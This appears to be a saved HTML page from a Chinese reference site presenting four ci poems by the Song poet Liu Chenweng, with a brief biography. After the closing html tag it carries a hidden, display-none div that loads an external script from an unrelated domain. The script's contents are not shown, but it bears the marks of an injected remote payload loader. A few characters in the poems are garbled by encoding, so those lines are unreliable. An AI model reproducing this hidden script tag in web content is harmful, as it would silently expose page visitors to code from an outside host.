<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-刘辰翁</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>刘辰翁</strong></span></div>

	<div class="Cont_tit sc">
		<h1>刘辰翁</h1>
		<span>(1231--1297)，别号须溪，南宋庐陵(今江西省吉安市)人。进士出身。做过濂溪书辽(当时讲学的地方)院长。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>永遇乐</strong></div><div class="sc_det_cont">壁月初晴，黛云远淡，春事谁主？禁苑娇寒，湖堤倦暖，前度遽如许。香尘暗陌，华灯明昼，长是懒携去。谁知道、断烟禁夜，满城似愁风雨。<br/>宣和旧日，临安南渡，芳景犹自如故。细帙离离,风鬟三五,能赋词最苦。江南无路，~州今夜，此苦又谁知否？空相对公、残G无寐，满村社鼓。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>摸鱼儿</strong></div><div class="sc_det_cont">酒边留同年徐云屋<br/>怎知他、春归何处？相逢且尽尊酒。少年袅袅天涯恨，长结西湖烟柳。休回首，但细雨断桥，憔悴人归后。东风似旧，向前度桃花，刘郎能记，花复认郎否？<br/>君且住,草草留君剪韭,前宵正恁时候。深杯欲共歌声滑，翻湿春衫半袖。空眉皱，看白发尊前，已似人人有。临分把手，叹一笑论文，清狂顾曲，此会几时又？</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>兰陵王</strong></div><div class="sc_det_cont">丙子送春<br/>送春去，春去人间无路。秋千外，芳草连天，谁谴风沙暗南浦。依依甚意绪？漫忆海门飞絮。乱鸦过、斗转城荒，不见来时试灯处。<br/>春去谁最苦？但箭雁沉边，梁燕无主，杜鹃声里长门暮。想玉树凋土，泪盘如露。咸阳送客屡回顾，斜日未能度。<br/>春去，尚来否？正江令恨别，庚信愁赋，苏堤尽日风和雨。叹神游故国，花记前度。人生流落，顾孺子，共夜语。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>宝鼎现</strong></div><div class="sc_det_cont">红妆春骑，踏月影竿旗穿市。望不尽、楼台歌舞，习习香尘莲步底。箫声断、约彩鸾归去，未怕金吾呵醉。甚辇路、喧阗且止，听得念奴歌起。父老犹记宣和事，抱铜仙、清泪如水。还转盼、沙河多丽。<br/>暄明光连邸第，帘影冻、散红光成绮。月浸葡萄十里，看往来，神仙才子，肯把菱花扑碎。肠断竹马儿童，空见说、三千乐指。等多时春不归来，到春时欲睡。又说向灯前拥髻，暗滴鲛珠坠。便当日亲见霓裳，天上人间梦里。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>刘辰翁</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>